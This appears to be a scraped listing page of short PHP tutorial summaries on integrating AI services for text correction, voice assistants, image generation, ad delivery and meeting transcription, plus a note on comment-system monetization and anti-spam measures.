1. Maximizing the commercial value of the comment system requires combining native advertising precise delivery, user paid value-added services (such as uploading pictures, top-up comments), influence incentive mechanism based on comment quality, and compliance anonymous data insight monetization; 2. The audit strategy should adopt a combination of pre-audit dynamic keyword filtering and user reporting mechanisms, supplemented by comment quality rating to achieve content hierarchical exposure; 3. Anti-brushing requires the construction of multi-layer defense: reCAPTCHAv3 sensorless verification, Honeypot honeypot field recognition robot, IP and timestamp frequency limit prevents watering, and content pattern recognition marks suspicious comments, and continuously iterate to deal with attacks.

How to use PHP combined with AI to achieve text error correction PHP syntax detection and optimization How to use PHP combined with AI to achieve text error correction PHP syntax detection and optimization Jul 25, 2025 pm 08:57 PM

To realize text error correction and syntax optimization with AI, you need to follow the following steps: 1. Select a suitable AI model or API, such as Baidu, Tencent API or open source NLP library; 2. Call the API through PHP's curl or Guzzle and process the return results; 3. Display error correction information in the application and allow users to choose whether to adopt it; 4. Use php-l and PHP_CodeSniffer for syntax detection and code optimization; 5. Continuously collect feedback and update the model or rules to improve the effect. When choosing AIAPI, focus on evaluating accuracy, response speed, price and support for PHP. Code optimization should follow PSR specifications, use cache reasonably, avoid circular queries, review code regularly, and use X

PHP calls AI intelligent voice assistant PHP voice interaction system construction PHP calls AI intelligent voice assistant PHP voice interaction system construction Jul 25, 2025 pm 08:45 PM

User voice input is captured and sent to the PHP backend through the MediaRecorder API of the front-end JavaScript; 2. PHP saves the audio as a temporary file and calls STTAPI (such as Google or Baidu voice recognition) to convert it into text; 3. PHP sends the text to an AI service (such as OpenAIGPT) to obtain intelligent reply; 4. PHP then calls TTSAPI (such as Baidu or Google voice synthesis) to convert the reply to a voice file; 5. PHP streams the voice file back to the front-end to play, completing interaction. The entire process is dominated by PHP to ensure seamless connection between all links.

How to use PHP to combine AI to generate image. PHP automatically generates art works How to use PHP to combine AI to generate image. PHP automatically generates art works Jul 25, 2025 pm 07:21 PM

PHP does not directly perform AI image processing, but integrates through APIs, because it is good at web development rather than computing-intensive tasks. API integration can achieve professional division of labor, reduce costs, and improve efficiency; 2. Integrating key technologies include using Guzzle or cURL to send HTTP requests, JSON data encoding and decoding, API key security authentication, asynchronous queue processing time-consuming tasks, robust error handling and retry mechanism, image storage and display; 3. Common challenges include API cost out of control, uncontrollable generation results, poor user experience, security risks and difficult data management. The response strategies are setting user quotas and caches, providing propt guidance and multi-picture selection, asynchronous notifications and progress prompts, key environment variable storage and content audit, and cloud storage.

How to use PHP to develop AI-driven advertising delivery PHP advertising performance optimization solution How to use PHP to develop AI-driven advertising delivery PHP advertising performance optimization solution Jul 25, 2025 pm 06:12 PM

PHP provides an input basis for AI models by collecting user data (such as browsing history, geographical location) and pre-processing; 2. Use curl or gRPC to connect with AI models to obtain click-through rate and conversion rate prediction results; 3. Dynamically adjust advertising display frequency, target population and other strategies based on predictions; 4. Test different advertising variants through A/B and record data, and combine statistical analysis to optimize the effect; 5. Use PHP to monitor traffic sources and user behaviors and integrate with third-party APIs such as GoogleAds to achieve automated delivery and continuous feedback optimization, ultimately improving CTR and CVR and reducing CPC, and fully implementing the closed loop of AI-driven advertising system.

PHP integrated AI speech recognition and translator PHP meeting record automatic generation solution PHP integrated AI speech recognition and translator PHP meeting record automatic generation solution Jul 25, 2025 pm 07:06 PM

Select the appropriate AI voice recognition service and integrate PHPSDK; 2. Use PHP to call ffmpeg to convert recordings into API-required formats (such as wav); 3. Upload files to cloud storage and call API asynchronous recognition; 4. Analyze JSON results and organize text using NLP technology; 5. Generate Word or Markdown documents to complete the automation of meeting records. The entire process needs to ensure data encryption, access control and compliance to ensure privacy and security.

See all articles